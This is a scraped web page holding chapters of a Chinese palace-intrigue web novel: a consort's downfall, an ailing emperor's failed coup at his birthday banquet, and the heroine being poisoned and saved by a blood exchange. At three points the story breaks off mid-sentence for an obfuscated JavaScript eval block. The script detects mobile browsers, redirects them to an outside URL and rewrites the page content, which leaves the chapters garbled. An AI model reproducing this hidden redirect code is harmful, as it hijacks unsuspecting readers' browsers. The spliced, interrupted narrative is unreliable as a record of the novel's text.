“住嘴,我没有!”安嫔一脸恐慌。 “这不是安嫔娘娘放的,那这香是……”秦时月故意问道。 安嫔绝对不可能说点这香是特意为秦时月点的。 “我……”安嫔一时之间不知道该说些什么,只能干瞪着眼,求助地看向赵太傅。 赵太傅身份尊贵,又是太后的胞弟,可谓牵一发而动全身,所以无论如何,皇后都不会定他的罪。 赵太傅无事,就意味着自己也能平安。 可赵太傅已经被吓傻了。 要知道,他虽然身居高位,但毕竟是外男。 秽乱后宫,这罪名一旦坐实,他自身难保,又怎么会理会安嫔的求助? “安嫔娘娘,看来,赵大人无暇顾及您呢,还是您自己说说看,这香……到底是怎么回事吧。”秦时月笑笑。 安嫔心里发慌,颓败的看了赵太傅一眼,最终,一口应了下来,“是,是我。但我是无心的,是在调香时错放了一味,但我和赵太傅清清白白,容不得你们攀蔑!” 宋墨辰冷哼一声开口,“来人,搜查整个储秀宫!” 侍书立刻上前,带着人动作利落的开搜,不多时,竟然在安嫔寝殿的床榻下发现了一个暗格,从里搜出了一些信件。 打开后,竟是赵太傅与安嫔的往来密信。 “罪证确凿,你还有什么话说?”皇后看着安嫔,眼神里满是失望,“皇帝病重,你不思照料,反倒秽乱后宫,该当何罪?” “不可能!”安嫔不敢置信地瞪着那封信,“我和赵太傅之间是清白的!” 突然,安嫔抬头,看向秦时月,“是你!都是你!是你做的!贱人,我不会放过你的!” 紧接着,她突然张开双手对着秦时月掐去,宋墨辰眼神危险,一抬脚,猛地将人踹翻在地。 “带下去。”皇后烦躁的捏捏眉心,“打入天牢,听候发落。” 真是蠢的可怜。 皇后忍不住暗道:时月的医术整个靖垣王朝谁人不知?她竟然用下药这种低端手段对付时月,真是……活该落得如此地步。 赵太傅吓的立即求饶,“殿下、皇后娘娘,老臣与安嫔是清白的,还望娘娘还臣一个公道啊!” 不行,他决不能任由皇后处置安嫔。 一旦安嫔被处置,他和安嫔秽乱后宫的事就算是坐实了,到时候,不仅是他,就是整个赵家也要完蛋! 对了,陛下,这个时候能救他一命的,只有陛下! 赵太傅还要开口,秦时月却笑了一下,指着那些密信问道:“那这些信是怎么回事?赵太傅可以说一下信里的内容吗?” 听到这话,赵太傅脸色一僵。 这些信的真假他没办法分辨,但他确实和安嫔通过信,内容基本都是他们设计皇位的铁证。 但他每封信后都清楚的标注着,“阅后即焚”的字样,他不知道,这些信是怎么来的。 可不论如何,他不敢赌…… 赵太傅有口难言,他想解释,可张张嘴,喉头像是被什么堵着,一个字都说不出来。 “无话可说?还不带下去!”宋墨辰冷哼一声,淡漠的朝身边人吩咐道。 侍卫们应声上前,拖着安嫔和赵太傅下去了。 秦时月走到宋墨辰身边,低声道:“八皇子或许什么都不知道,这件事,不如到此为止吧。” 如今朝堂局势动荡不安,只能用安嫔和赵太傅秽乱后宫为由对付他们。 宋墨辰看了她一眼,转身对皇后说道:“母后,八弟年幼,应当不知情,就算了。” 皇后深深看了秦时月一眼,眼神复杂。 八皇子留着,本身就是一个未知数,她谋划多年,原不能容忍这种变数存在。 可…… 皇后叹口气,摆了摆手,“罢了,你们一个两个为那孩子求情,本宫还能说什么?此事,本宫不会牵连。” “多谢娘娘。”秦时月嘴角带笑。 皇后无奈笑笑,一把拉过了她的手,“时月,以后行事别这么冒险了,若是今天我们来得晚了,该怎么办?” “娘娘,其实这些都在计划之内,没事的。”秦时月笑了笑。 眼看宋墨辰听到这话黑了脸,皇后没再多说什么,转身带着宫人离开了。 宋墨辰这才上前,一把将秦时月抱进怀里,“以后再遇到类似的事情,必须告诉我!” 没有人知道他在听闻宫人的汇报后有多害怕。 他知道秦时月的本事,可她双拳难敌四手,即便再厉害,也难免不会被算计到。 他,真的害怕。 “好。”秦时月点点头,笑了一下,想到什么,退后半步,仰头问道:“对了,安嫔和赵太傅,你打算怎么处理?” “秽乱后宫罪不容诛,我既然代父皇监国,便有处置的权利,你放心,安家、赵家,一个都跑不掉。” 宋墨辰满足的抱着她,声音从未有过的冷冽。 敢算计他的月月,他们就要做好被诛三族的准备! …… 秦时月离宫已经半月有余了,眼看就要到皇帝寿诞,宋墨辰作为监国,忙的焦头烂额,根本没有出宫的时间。 “娘娘,礼部递了折子,说陛下今早醒着时,特意让人传口谕,寿宴要按规制大办。”太监恭敬的站在皇后娘娘面前,“还说要请京中三品以上的官员及家眷赴宴。” 闻言,皇后冷哼一声,有些头疼的闭上了眼。 秦时月坐在一旁的榻上,安静的看着棋盘上的半幅棋局。 原本皇后念在皇帝身体不适,打算把寿宴办的简单点,未曾想,皇帝好不容易清醒一小会儿,竟然是下了口谕,要大办特办。 看来,得抽个时间亲自去看看,看看皇帝的病究竟到了什么程度…… 第295章 谋划 “本宫知道了,退下吧。” 太监走后,秦时月回过眸,“陛下突然清醒,难不成是病体有所起色?” “今早太医院的人说,寅时就醒了,喝了小半碗参汤,还和江福德说了会儿话。”皇后轻笑一声,眼底深处却多了一丝让人看不透的杀意。 若不是留着他的命还有点用,狗皇帝早就死了千次万次了。 “娘娘,会不会是,陛下想借着寿宴,另有安排?”秦时月皱着眉头,脱口而出。 大办寿宴,动静必然大,他若是另有安排,那样的大场合,最容易成功…… “真是有趣。”皇后笑道,“许是缠绵病榻久了,想让所有人看看,就算他病着,这江山还是他的。看来这寿宴,非办不可。” 秦时月点头,回应道:“我晚些会和王爷通个口信,宫里侍卫那边有王爷的人,应该能确保每个角落都在视线里。” “好,时月有心了。还有,本宫上了年岁,操办的事有些力不从心,左右你将来也是要操办这些的,不如这次就由你来操持,有什么不懂的,本宫从旁协助,如何?” “这……” 秦时月怔愣一下,有些犹豫。 她虽和宋墨辰有婚约在身,但到底没有举行大婚,现在就操持皇帝的寿宴,传出去,估计又会闹出不小的风波…… “怎么?对自己没信心?”皇后笑问。 “不是。多谢娘娘厚爱,时月一定将寿宴办的漂漂亮亮的。”秦时月知道,这是皇后信赖她,也不好再推脱。 皇后连说三声好,然后又拉着她说了好一会儿操办寿宴需要注意的问题,这才放人离开。 离开凤仪宫后,秦时月便开始忙碌宫中侍卫问题,同时又联系礼部,在礼部的帮助下拿到了一份宾客名单。 看着这份详尽的宾客名单,她隐隐有种猜测:皇帝要的不是一场热闹的寿宴,而是一场清算! 看来,皇帝是想要对宋墨辰,甚至是皇后和她……动手了。 事情到了这个地步,已经不是他们想逃避就能逃避的了。 既然皇帝存了别的心思,那他们,也该准备起来了。 与此同时,御书房内。 “都退出去。”江福德转过身,端着一碗黑色的药汁,“陛下要喝药了,惊了驾,仔细你们的皮!” “是。”宫人们连忙退了出去。 江德福端着药碗,用银针轻轻搅了搅,确定没有问题后才走到龙床边。 就在他准备俯身时,皇帝忽然睁开了眼。 江福德吓得手一抖,慌忙跪了下去。 “起来吧。”皇帝的声音很轻,透着几分虚弱。 闻言,江福德连忙爬起来,将药碗放到一边,扶着皇帝慢慢坐起身。 “事情都妥帖了?”皇帝问道。 “妥帖了。”江福德凑近,小声回答,“皇后娘娘戌时来看过,见您还昏睡着,只吩咐太医院再尽心些,似乎,添了两味补药。” “子宁那边呢?”皇帝问道。 “八殿下那边一切正常,明月县主还在为殿下治疗。” 皇帝冷哼一声,“那个毒妇怎么可能会真的给老八治病!” “老奴昨儿个去瞧了瞧。”江福德往后看了一眼,确定无人,才压低声音道:“八殿下脸上的伤似有好转,只是还没好利索,结痂的地方昨儿个又被他自己挠破了,看起来有些吓人。” “那孩子,唉……”半晌,皇帝叹了口气,看向江德福,“大将军那边,有回信了?” 江德福眼前一亮,回禀道:“大将军说,一切准备好了,只差陛下一声令下。” “不错。”皇帝满意地点点头。 他是病了,自己能明显的感觉到身子骨一日不如一日,可他也知道,自己不能就这么病下去,所以,在他难得清醒的时候,让江福德做了些事。 而他这段时间能保证偶尔的清醒,是因为用了一些禁药。 虽然禁药对他的身体会造成不可逆的损伤,但是只有这样,他才能彻底铲除皇后和宋墨辰! “大将军带了多少人马?” “三千。”江福德答道。 见皇帝眉头微蹙,又赶紧补充,“大将军担心人马太多目标太大,反而不利。这三千都是跟着他守了十年边关的老兵,个个勇猛善战以一当十,只等大将军的人到了,就能里应外合。” 皇帝这才舒了口气,靠在软枕上闭目养神。 “一切,该结束了。” “恭喜陛下。”江德福笑道。 就在这时,门外突然传来水盆被打翻的声音,皇帝眼神凌厉的看了一眼江德福,随后闭上了眼睛。 江德福心领神会,连忙走了出去。 只见一个小太监正趴在地上拼命擦拭,旁边是翻了一地水的金盆。 “陛下刚睡着,吵醒了仔细你的脑袋,还不快滚!” 小太监吓得脖子一缩,捧着水盆手脚并用地退了下去。 江福德望着小太监的背影,又看了看天空,长舒了一口气。 他才收回视线准备进殿,秦时月的身影突然出现在他的视线内。 他眉头蹙眉,强压下心底的慌乱,换上一副谄媚的表情,“县主来了。” “我来看看陛下。”秦时月微微点头,径直往殿内走去。 江德福知道自己拦不住,只好任由她进入。 “臣女给陛下请安。”秦时月站在皇帝身边,作了一揖,视线放在皇帝身上,忍不住打量起来。 皇帝躺在软枕上,脸色蜡黄,眼窝深陷。 不多时,他慢慢睁开眼睛,双眼迷离。 明明是一副颓败、了无生机的模样,可秦时月却发现,他的瞳仁亮得异常,与他病恹恹的样子相悖。 她皱皱眉,心里一阵奇怪。 “起来吧。”皇帝气若游丝,吃力的抬手指了指旁边的椅子,“赐座。” 秦时月挑挑眉,拿出一颗药丸,“这是臣女为陛下制作的药丸,有助于陛下康复,臣女喂您。” 说着,不等皇帝拒绝,她端起一旁的参汤凑了上去,在不引起皇帝和江福德注意的情况下,指尖擦过皇帝的手腕。 指下,脉搏虽然虚弱,但脉象沉稳,不像真病,倒像是……用药压出来的假象。 第296章 爱演?陪你演! 皇帝将药丸慢慢咽下去,眼神晦暗,“县主有心了。” 秦时月收回心思,抬眸迎上他的目光,“能帮到陛下便好。” 随后,她话锋一转,“臣女为给陛下制作药丸,昨夜宿在了宫里,半夜时听见窗外有异动,原想让人去查,又怕惊扰了陛下静养。” “哦??” “许是侍卫巡逻吧。”秦时月故意说了一句,“只不过那些侍卫的穿着……像是御书房的侍卫。” 皇帝忽然笑了一下,喘着粗气说道:“江福德老了,手脚不大利索,让皇后从京营调了些人来,说是更稳妥些。” “京营的人自然稳妥。”秦时月顺着他的话道,语气透着一丝深意。 皇帝轻咳两声摆了摆手,问了一句,“对了,寿宴都安排好了?” “都妥当了。不过,陛下点的戏,不太适合场合,陛下要不要换一场戏?” 秦时月眸光微闪,表情不变。 老皇帝点了一出镇压叛乱,寓意平叛安邦的戏码,寿宴上演上这样一出,必然会让人多想。 她故意提出更换,既是试探,也是想看看这位病榻上的帝王究竟有几分底气。 皇帝心里一惊,枯瘦的手指倏然攥紧了被褥,但他强装镇定,道:“不过是出戏罢了,哪有那么多讲究。” 就在这时,殿外传来江福德的声音,“皇后娘娘驾到~” 皇帝的眼神瞬间淡下去,重新靠回软枕,有气无力道:“让她进来吧。” 秦时月趁机起身,“那臣女去前殿看看宴席的准备,先行告退。” 刚走出御书房,她就见宋墨辰站在廊下。 见她出来,他快步迎了上来,“怎么样?” 一听到她来皇帝宫里,宋墨辰立即猜到了她的心思,他放下手上的工作,立刻赶了过来。 “不对劲。”秦时月一脸深思,“脉象沉实,是被迷迭香压着的,他刚才看我的眼神,不像一般病患昏沉的样子,我感觉,这病是假的。” 皇帝先前是真病了,而且底子确实虚,难以补回来,但是此刻,他的病倒像是药物所致。 宋墨辰眼底闪过一丝了然,“我让人查过太医院的药渣,迷迭香加了快一个月了,京营那边也查清楚了。” “所以陛下是故意的?”秦时月抬头看他,“故意装昏,大办寿宴,是想,对付你?” 宋墨辰点头,往远处瞥了眼,“十有八九。不过你放心,如今,已经不是他能左右的了……” 秦时月这才松了口气,反问道:“八皇子那边呢?” “暗卫守着呢。放心,万无一失。” 两人相视一笑。 远处的钟声响起,一日,又要过去,真正的狂风暴雨,即将到来。 …… 几日后,寿宴开始。 皇帝拖着病重的身体坐在龙椅上,皇后、贵妃陪在身侧,他看着台下为自己祝寿的大臣们,眼底隐隐透着一丝兴奋。 秦时月和宋墨辰坐在一边,静静的欣赏着歌舞。 百官们试探性的看向皇帝和宋墨辰,他们察觉到两人之间有着微妙的情绪,但谁都没有戳破。 皇帝靠在龙椅上,装作什么都不知道的样子,静静看向远方。 快了,时辰快到了! 就在这时,一个小太监连滚带爬地冲了进来,“娘娘陛下!不好了!宫门被围了!” “什么!”皇帝猛地坐直了些,佯装吃惊。 百官们立即慌乱的交头接耳起来,方才还喜庆的礼乐声不知何时停了。 皇帝半靠在龙椅上,原本蜡黄的脸上竟泛起一丝异样的潮红。 他激动地问道:“你说清楚,是谁围了宫门?” 小太监扑在地上,面上是藏不住的慌乱,“是大将军!他带着亲兵,说是要清君侧……已经把午门堵死了!” 边汇报,边恐慌的偷瞄着宋墨辰的脸色。 清君侧,这种理由,只有可能是针对辰王来的。 “清君侧”三个字刚出口,皇帝突然笑了。 秦时月面色不变的端起酒杯喝了一口。 清君侧,真是有趣。 原以为皇帝做的局有多复杂,不曾想,却是这般简单。 “快!快让人去请大将军进来!就说朕等着他呢!”皇帝激动地说道。 话音未落,宋墨辰忽然起身,单膝跪地,“父皇三思。大将军未经传召就带兵围宫,分明是造反。” “宫中侍卫何在!?”他起身,怒问。 怒吼声落,侍卫们纷纷拔刀,“在!” “你,你要干什么,朕还没死!”皇帝被气的眼眶猩红,重重的拍了一下桌子。 原本该是气势十足,可他病了太久,气势毫无,倒像是下一秒就会撒手人寰般。 宋墨辰在心里冷笑一声,完全没把皇帝放在眼里,径直下令,“传令下去,任何人敢擅自打开宫门,以同党论处,就地正法!” 皇帝脸上的笑容瞬间僵住,他难以置信地瞪着宋墨辰,“你说什么?大将军是忠臣!你这是诬陷!” 闻言,宋墨辰微微躬身,语气里却没半分恭敬,“儿臣职责所在,不敢轻信任何人,更何况,大将军带兵围宫,已是铁证如山,若不严惩,何以服众?” 宋墨辰看向侍卫统领,“还愣着干什么?按本王的吩咐去办!” “是!”统领抱拳应道,转身就要传令。 “住手!”皇帝急得浑身发抖,挣扎着想要起身,却被身边的宫女死死按住,“你敢抗旨?朕才是皇帝!” “父皇息怒。”宋墨辰垂眸,“儿臣并非抗旨,只是事出紧急,不得不谨慎,您身子不好,莫要动气,先回殿内歇着,这里交给儿臣处理就是。” 皇后收回看戏的心思,放下茶盏起身,走到皇帝身边,温声威胁,“陛下,辰儿说得是,您龙体要紧,犯不着跟这些乱臣贼子置气,这里有辰儿坐镇,臣妾陪您回去歇息,等候消息就是了。” 秦时月也放下酒杯起身,做出一副恐慌的样子说道:“陛下,您就听娘娘和王爷的吧,贼人胆敢围城,必是做了万全的准备,您就是不为了自己,也要为八皇子着想啊。” 第297章 突发意外,** 提到八皇子,皇帝的身子猛地一颤。 但一想到这是他最后的希望,他不甘心的做着最后的挣扎,声音抖的不成样子,“大将军是,是朕请来的,你们不许……” “陛下这是说的什么话。”皇后笑了一下,“臣妾和辰儿都是为了您好,为了这江山好,大将军谋反天理难容,您久病在床,可不要被他蒙骗了。” 说完,皇后对身边的宫女使了个眼色,“快,扶陛下回去歇息,太医说了,今日万万动不得气。” 宫女们刚要上前,皇帝就被气的咳嗽起来。 他捂着胸口弯下腰,一口鲜血猛地喷在龙椅上。 “陛下!”江福德从人群里冲出来,“陛下您怎么了?快传太医!快传太医啊!” 寿宴现场彻底乱了。 “还愣着干什么?”皇后厉声喝道:“快送陛下回去休息。” “是。”宫人们立即将皇帝抬走。 见状,江福德立即跟上,皇后却突然喊住了他,“江福德,你留下。” 听到这话,江福德心里一惊,诚惶诚恐的垂下头,“娘娘,老奴得去伺候陛下。” “陛下有太医和宫女伺候,不差你一个。”皇后说道:“本宫得知,你近日来与那大将军来往向来密切?” “娘娘饶命!老奴什么都不知道啊!”江福德立即跪地求饶。 “是不是什么都不知道,审审就清楚了。”宋墨辰开口。 两个侍卫立刻上前,架起江福德就往偏殿拖。 秦时月走到宋墨辰身边,担忧的开口,“皇帝那边……” “死不了。”宋墨辰冷笑。 一切都在按计划进行,接下来,是先对付大将军。 寿宴上的骚动渐渐平息,百官被侍卫请到后宫隐秘的宫殿稍作休息。 宋墨辰则是打算亲自会会大将军。 “大将军那边还在僵持?” “是,”统领躬身道:“按您的吩咐,只守不攻,他们一时半会儿冲不进来。” 宋墨辰微微点头,正要开口下令,殿外突然传来一阵惊呼。 赵家大公子不知何时冲了出来。 “逆贼!我杀了你!” 不等宋墨辰反应过来,十几个蒙面黑衣人从天而降,显然早有准备,说不定是和围城的大将军里应外合。 “来人!”宋墨辰立即拔出腰间的佩剑。 秦时月下意识地往柱子边靠了靠。 她眼角的余光瞥见一个黑衣人绕到了宋墨辰身后,那人手里握着张短弓,看样子是要对宋墨辰出手。 而宋墨辰正忙着应付其他黑衣人,丝毫没有看见身后这个人。 “小心!”眼看情况不对,秦时月喊了一声,像阵风似的冲了过去,正好撞在宋墨辰背上。 几乎是同时,利箭射了过来,狠狠刺进了她的前胸,鲜血喷涌而出。 时间仿佛在这一刻凝固了。 宋墨辰猛地回头,看见了秦时月胸前的箭杆。 “月月!”宋墨辰伸手想去扶她,却见秦时月软软地倒了下来,正好撞进他怀里。 “箭上,有毒……” 宋墨辰抱起秦时月,只感觉浑身僵硬。 他以为一切都在掌控中,却没算到会有漏网之鱼,更没算到秦时月会受伤。 为什么会这样! “你怎么那么傻,为什么要替我挡箭?”宋墨辰崩溃的看着秦时月闭上的眼睛。 是他的错,都是他的错,是他少算了一步,他就不应该同意皇帝办这场寿宴! “太医!快传太医!” 皇后站在不远处,看着这突如其来的变故,脸色沉重。 “来人!传太医,快传太医!若敢延误片刻,本王定斩不饶!”宋墨辰的声音中充满了颤抖。 “月月,你撑住,千万别睡,太医院的人马上就到,你一定会没事的!” 宋墨辰立即抱起秦时月送往偏殿,一路上他都小心翼翼的,生怕会触碰到秦时月的伤口。 皇后无奈地摇了摇头,留下来处理大殿上的事情。 这些刺客,必须留活口,她要知道,究竟是谁在背后谋划了这一切! 约莫过了半盏茶的功夫,太医院所有的太医匆匆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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见宋墨辰发怒,太医们立即下跪磕头。 突然,一个小太医颤颤巍巍的起身,小声说道:“王爷息怒,一线牵没有解药,但是臣查阅过太医院珍藏的古籍,有一法子或许可行……” 第298章 皇后阻挠,宋墨辰妥协 闻言,宋墨辰双眼发光,惊喜地看向小太医,“说!” 无论是什么方法,就算是用他的命去换秦时月的命,他也愿意! 他夺这江山,本就是为了她,若是她不在了,他要这江山有何用! “活血换毒之法,或许能行。” 小太医刚说完,就被一个老太医打断。 “不可!”老太医呵斥道:“此法有违天理,万万不可!” 宋墨辰气愤的瞪了老太医一眼,询问小太医,“你说!” “就是以活人之血引毒,将**者体内的毒血尽数换出,只不过此法凶险至极,换血时稍有不慎,两人都会因失血过多或毒素反噬而亡,十有**……是同归于尽的下场。” 小太医说着,几乎跪伏在地,不敢抬头看他。 “换血?”宋墨辰死死盯着小太医,“用本王的血!现在就准备!” “荒唐!” 一声厉呵突然从殿外传来,殿内众人皆是一怔。 下一秒,皇后风风火火的走了进来。 她刚处理好大殿上的事情,心急如焚赶到偏殿,不曾想,刚来就听到宋墨辰说要换血给秦时月。 如今皇帝已经被他们控制,整个江山都是他们的,宋墨辰绝对不能在这个时候出事! 宋墨辰回头见是皇后,脸色稍缓。 “母后。” “刚刚太医说的话,本宫都听见了。”皇后眼神凌厉又心疼,“辰王,注意你的身份!” “母后,月月是为了救儿臣才中箭的,是她扑过来替儿臣挡了这一箭,儿臣不能眼睁睁看着她死。”宋墨辰拳头紧握,心窝像是空了一块。 皇后走到他面前,目光落在秦时月的脸上,眼底闪过一丝疼惜。 时月这孩子当真是好孩子,前些年为救自己落下病根,如今又救了辰儿……他们母子,都欠她的。 可辰儿不能出事,他一旦出事,上下牵连的何止千人? “这件事,本宫来安排。”皇后深吸口气,看向小太医,“你把那活血换毒的具体法子说清楚,一字都不许漏。” “回娘娘,臣也是在整理典籍时偶然看到的,只记了个大概。” “先备一个浴桶,桶内要提前用天山雪莲等二十一味珍稀草药煮水,中间用三根特制的竹管连接,施术时,**者与施血者需相对坐在浴桶中,最关键的是,整个过程不能有片刻中断,竹管一旦脱离,两人血液流速紊乱,就会造成危险,严重的话……” 严重的话,就是死路一条。 听到这话,皇后眉头紧皱,“还有别的要求吗?” “有。”小太医说道:“医书上说,施血者必须气血充盈,最好是常年习武之人,一旦施血者体力不支晕厥,不仅救不了人,自己也会因失血过多丢命。” 听到这话,宋墨辰立即紧张起来,“让我来,我常年习武……” 不等宋墨辰说完,皇后立即反驳,“你敢!” 秦时月温顺聪慧,待宋墨辰真心,皇后喜欢她喜欢的紧,甚至可以赏赐她任何东西,可这份喜欢,是在天下稳固的前提下。 可能,这是时月的命数吧。 皇后收回目光,语气重带了些惋惜,“无论如何你不能去换血,你是王,是未来的天子,你若出事,后果不堪设想。” “母后,那是时月,是儿臣朝思暮想的人,是儿臣未来的王妃!”宋墨辰的情绪愈发激动,“儿臣要让她活着!若是用儿臣的血就能让她活,为什么不能试?” “试?”皇后冷笑一声,“这是能试的事吗?换血十死无生,毒血入体,稍有不慎你就会跟她一起走!你走了,本宫该怎么办,这天下该怎么办!” 虽然皇后也不希望秦时月死,但她绝对不会让自己的儿子冒这份险! “儿臣不在乎!”宋墨辰眼底泛红,“儿臣只知道,没有她,儿臣就算坐稳了那个位置,也没有意思。母后,您总说皇家无情,可儿臣不想做那样的人!她用命护儿臣,儿臣就该用命护她!” “糊涂!”皇后失望地看着他,“本宫何曾教过你这般意气用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218083|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事?你是皇家子弟,你的命从来都不是你自己的!本宫喜欢她,也疼她。天下习武之人那么多,本宫绝不能让你拿命去赌一个不确定的结果!” 望着宋墨辰通红的眼眶,皇后心里又气又疼,“辰儿,听本宫一言,宫里这么多人,侍卫、宫女、太监,还有宗室子弟,总能找到可以和她换血之人,何必非要你亲自上?” “母后,时间不等人……” 毒入心脉,就真的回天乏术了…… 皇后看着宋墨辰哀求的模样,又看了看榻上奄奄一息的秦时月,重重地叹了口气。 她何尝不心疼秦时月,她闭了闭眼,决绝道:“求本宫也没用,今日这事,本宫说了算,你要么乖乖待在这里看着太医院找人,要么就跟本宫回凤仪宫,直到此事了结!” “母后!”宋墨辰不敢置信地看着她。 这一刻,他感觉自己的母亲变得陌生。 在宋墨辰印象中,皇后谋而后动,表象向来是温柔善良的,从没有一次像现在这般跟他争的面红耳赤的时候…… “本宫知道你难受,可你要明白,本宫做的一切都是为了你好,你必须好好活着,这是本宫唯一的要求。” 闻言,宋墨辰闭上眼睛,半晌才缓缓睁开。 他的情绪得到了缓解,脸上没有了方才的急切,“母后教训的是,方才是儿臣急糊涂了,这天下,不能无主。” 闻言,皇后松了口气。 她最担心的就是宋墨辰不松口,如今见他冷静下来,脸色也柔和了些。 “你能想明白就好,本宫知道你喜欢她,可喜欢归喜欢,不能拿自己的性命赌。” “儿臣,明白。”宋墨辰躬身,语气顺从,“方才是儿臣冲动了,幸好有母后拦着,不然儿臣真要做了糊涂事,这件事就全听您的安排,儿臣绝不添乱。” 他一边说,一边悄悄往后退了半步。 皇后当他是真的想通了,转而看向太医,“太医,就按你们说的做吧,现在安排一应用具,去找人,为县主换血。” 第299章 为她换血,死也无妨 “是!臣保证,半个时辰内定能找到相合的。”太医连忙回话。 “好。”皇后点头,转头看向宋墨辰,“等会儿找到合适的人,让太医院仔细查验身体,确保万无一失,你就安心待在这儿守着她,有本宫在,不会让她出事的。” 宋墨辰顺着她的话点头,“儿臣听母后的。只是父皇那边,还要母后去盯着些,以免再闹出不可挽回的事。” 见他这般模样,皇后心里最后一丝担忧也散了,点点头,转身离开了。 辰儿说的对,如今刚发生了这么多事,还有很多事需要她去拿主意。 他知道,皇后已经信了他的妥协,接下来,只要等一个合适的时机。 为了能保证给秦时月换血成功,不被他人打扰,宋墨辰趁着夜色将秦时月和太医带回了辰王府。 他按照太医的指引,将寝室的窗户用黑布遮起来,然后又命人搬来浴桶,桶内盛满了熬煮好的药汤。 宋墨辰深深的看了一眼秦时月,慢慢褪去外袍,只留一件素白中衣,缓缓踏入浴桶中。 此刻秦时月的面色依旧苍白,唇角泛着淡淡的紫黑色。 太医颤巍巍的拿着一把银刀,神情凝重,“王爷,整个过程要持续一个时辰,期间不能中断,您若是中途觉得头晕,一定要喊我,切不可硬撑!” 这可是辰王,是最有可能荣登大宝的人,他……实在害怕。 “动手吧。”他深吸一口气,声音里没有半分犹豫,“别耽误时辰,她的毒耗不起。” 太医咬了咬牙,举起银刀,分别在两人的手腕处划出一道口子,鲜红的血液立刻涌了出来,顺着预先搭好的竹管缓缓流淌。 “县主的毒血开始稀释了!”太医惊喜道。 宋墨辰没说话,只是微微调整了坐姿,让身体更稳地靠在桶壁上。 “王爷,整个过程需要一个时辰,我等在外面等候。”太医拱了拱手。 闻言,宋墨辰点了点头。 就在此时,王府的角门处,一个身影窜了出来。 “我有要事要求见王爷!”长乐侯说道。 门房立即阻止,“王爷有令,今日府中闭门谢客,不管是谁都不能进!” 闻言,长乐侯头疼的揉了揉头,他看向身后带来的侍卫,眼神示意他们上前把那两个门房处理干净。 侍卫领了命令,立即冲了出来。 双发的打斗声引来了巡逻的府兵。 七八名府兵立即围了上来,将侍卫们往外赶。 长乐侯趁着骚动,无人顾及他,悄无声息的溜入王府。 前几日秦怀瑾失踪,长乐侯花重金请人帮忙寻找,那人传回消息,说是秦怀瑾最后是被辰王带走的。 他想找宋墨辰对峙,可宋墨辰一直待在宫里,他根本无法靠近。 直到今夜,有下人回禀,说是看到辰王的马车避着人回了王府,他猜测,宋墨辰定是将人藏在了王府。 为了能进入王府找到秦怀瑾,长乐侯特意安排人在角门**,引开府兵的注意力,从而让自己能顺利进入王府。 就在这时,长乐侯发现远处有间被府兵层层围住的屋子。 想来,怀瑾定是被藏在这儿! 可那屋子周围全是府兵,他该如何进去呢? 沉思片刻,长乐侯从怀里摸出了火折子。 他看着被众人围起来的屋子冷笑一声,然后绕到房间侧面的回廊处。 见四周无人,他迅速点燃火折子,丢了出去。 瞬间,火花窜起,浓烟滚滚升起。 “走水了!寝殿走水了!”守在门口的府兵、太医们慌了神,顾不上守门,转身就往厨房方向跑着提水。 周围的府兵也被火势吸引,纷纷涌向火场。 长乐侯趁机跑到那间屋子附近,一把推开房门,闪身躲了进去。 房间内没有烟火气,反而弥漫着浓郁的草药香。 他屏住呼吸,生怕这是**。 刚绕过屏风看到里边的场景,长乐侯直接僵在原地。 只见面前摆着一只浴桶,桶内浮着不知名的东西,桶内对坐着两个人。 男子褪去外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228000|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袍,双目紧闭靠在桶壁上,女子的青丝散落在肩后,不知为何昏迷了过去。 正是秦时月和宋墨辰。 虽然他们有婚约在身,但毕竟还未完婚,如今见他们在房间内共浴,长乐侯只觉得是莫大的羞辱。 药汤挡住了视线,他看不到桶中连接的管子,也看不到两人腕间伤口,只当是女儿为了攀附权贵,不惜自荐枕席,甚至还哄得辰王陪她在此处私会。 “真是丢人现眼!”长乐侯咬牙切齿的骂了一句,“我长乐侯府怎么养出你这么个不知廉耻的东西!” 他上前两步,怒斥,“**!为了嫁入王府连脸面都不要了,跑到王爷寝殿和王爷共浴,传出去,长乐侯府的颜面都要被你丢尽了!” 他越说越气,想起秦怀瑾还不知被藏在何处,而秦时月却在这里做着攀龙附凤的美梦,顿时气的胸膛起伏不断! 又见二人没有反应,长乐侯怒火更盛,上前一步,指着她的鼻子接着骂, “果然,你这种性子成不了大事,如今看来,果然只会用这些下三滥的手段!” “丢人现眼,连累侯府的名声!你可真有本事!我告诉你,就算辰王要娶你,我也绝不会认这门亲事!你这种不知廉耻的女儿,我长乐侯府担待不起!” “不知廉耻的东西!” 宋墨辰本因失血意识昏沉,可长乐侯的辱骂声越来越近,让他不得不有所反应。 下一秒,他倏然睁开眼,手指猛地攥紧,眼底瞬间布满血丝,原本平稳的气息也变得急促起来。 长乐侯骂得兴起,完全没注意到他的异样,反而得寸进尺地往前凑了凑。 “**,你竟然趁着我找怀瑾在这里跟辰王苟合,我告诉你,要是怀瑾有半点差池,我第一个饶不了你!” “住口!”宋墨辰死死盯着长乐侯。 长乐侯被突如其来的声音吓了一跳,转头看向宋墨辰。 